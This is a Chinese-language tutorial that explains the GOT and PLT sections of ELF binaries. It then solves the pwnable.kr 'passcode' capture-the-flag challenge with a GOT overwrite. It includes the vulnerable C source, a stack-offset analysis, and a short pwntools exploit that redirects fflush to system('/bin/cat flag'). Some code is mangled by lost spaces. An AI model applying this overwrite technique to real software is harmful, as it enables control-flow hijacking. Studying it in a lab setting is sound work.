GOT和PLT
GOT表
概念:每一个外部定义的符号在全局偏移表（Global offset Table）中有相应的条目，GOT位于ELF的数据段中，叫做GOT段。
作用：把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时，运行时连接编辑器（rtld）找到相应的符号，并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置，而不再调用rtld。
PLT表
过程连接表(Procedure Linkage Table)，一个PLT条目对应一个GOT条目
当main()函数开始，会请求plt中这个函数的对应GOT地址，如果第一次调用那么GOT会重定位到plt，并向栈中压入一个偏移，程序的执行回到_init()函数，rtld得以调用就可以定位printf的符号地址，第二次运行程序再次调用这个函数时程序跳入plt，对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写
PLT能覆写吗？
既然GOT能覆写，那么PLT能覆写吗？答案是不能，本文基于以下的代码(具体可参考https://pwnable.kr/index.php#)
//源代码passcode.c
#include<stdio.h>
#include<stdlib.h>
voidlogin(){
intpasscode1;
intpasscode2;
printf("enter passcode1 : ");
scanf("%d",passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d",passcode2);
printf("checking...n");
if(passcode1==338150&&passcode2==13371337){
printf("Login OK!n");
system("/bin/cat flag");
}
else{
printf("Login Failed!n");
exit(0);
}
}
voidwelcome(){
charname[100];
printf("enter you name : ");
scanf("%100s",name);
printf("Welcome %s!n",name);
}
intmain(){
printf("Toddler's Secure Login System 1.0 beta.n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)n");
return0;
}
使用gcc编译：
注意这里的编译警告。大概意思是说scanf的第二个参数类型应该是int*，而实际上是int。而这正是实现GOT覆写的地方，稍后会介绍。这里主要说下PLT为何不能够覆写。通过objdump-h pwnme命令可以查看可执行文件(pwnme)的节的信息：
我们注意到.plt节是REAONLY的，显然，这是没有办法修改的，而.got节是没有READONLY属性的，是可以修改。关于ELF文件和各个节的含义会在后续文章中介绍。
深入分析scanf
一个简单的scanf代码，功能是通过输入设置a的值。
#include<stdio.h>
intmain(){
inta;
printf("%x\n",a);
scanf("%d",&a);
fflush(stdin);
}
通过调试可知，当输入5的时候，在0xffac6a78地址的地方存放着输入的5，这正是变量a的值。
如果写成scanf(“%d”,a)会怎么样子那？除了警告之外，还会发生什么？按照上面的分析，a应该会被当作地址来处理的，如果a是一个got表项的地址，那么不就能够实现覆写了吗？
GOT覆写
首先查看以flag信息，我们要利用GOT覆写技术来实现获取flag信息。查看flag文件的信息如下：
查看flag的内容可知是”无情剑客”。检查pwnme采用的保护措施，使用checksec，如下所示，禁用了PIE，禁用NX。
使用radare2对pwnme进行调试分析查看welcome函数的汇编代码，可知ebp-6ch就是我们在函数中定义的name。
查看寄存器的值，注意观察ebp的值。
查看login函数的汇编代码。
在第一个scanf打断点，查看ebp的值：
通过观察可知，两者的ebp的值是一样的。通过分析汇编代码可知name,password1,password2等相对于ebp的偏移分别是6ch,ch,10h。
High
Address||
+-----------------+
|args|
+-----------------+
|returnaddress|
+-----------------+
ebp|old ebp|
+-----------------+
|...|
+-----------------+
ebp-ch||password1的地址
+-----------------+
ebp-10h||password2的地址
+-----------------+
|...|
+-----------------+
ebp-6ch||name的起始地址
+-----------------+
Low||
Address
如果我们的name足够长，覆盖到password1变量的地址，就能够控制password1的值的吗？通过计算6ch-ch=60h=96可知name和password1相差96个字符。
通过上面对scanf的分析，当输入的变量没有用取地址符号&，导致读入数据的时候，scanf会把这个变量中的值当成存储地址来存放数据，name值的最后4个字节是passcode1值，所以可以通过将passcode1的值改为fflush()的地址，scanf()之后会调用fflush()函数，覆盖fflush()在GOT表中的内容，把system(“/bin/cat flag”)对应汇编代码地址写入fflush()中，当这个函数被调用时，就会直接执行system(“/bin/cat flag”)。
通过objection-R pwnme查看GOT表可知fflush的地址为0x0804a010。
通过login的汇编代码可知system(“/bin/cat flag”)的地址是0x080485e3。
攻击代码
#-*- coding: UTF-8 -*-
#!/usr/bin/python
from pwnimport*
p=process('./pwnme')
fflush_got=0x0804a010
system_addr=0x80485e3
payload="A"*96+p32(fflush_got)+str(system_addr)
p.send(payload)
p.interactive()
参考链接
来源：freebuf.com 2020-07-02 21:42:29 by: 无情剑客Burning
请登录后发表评论
注册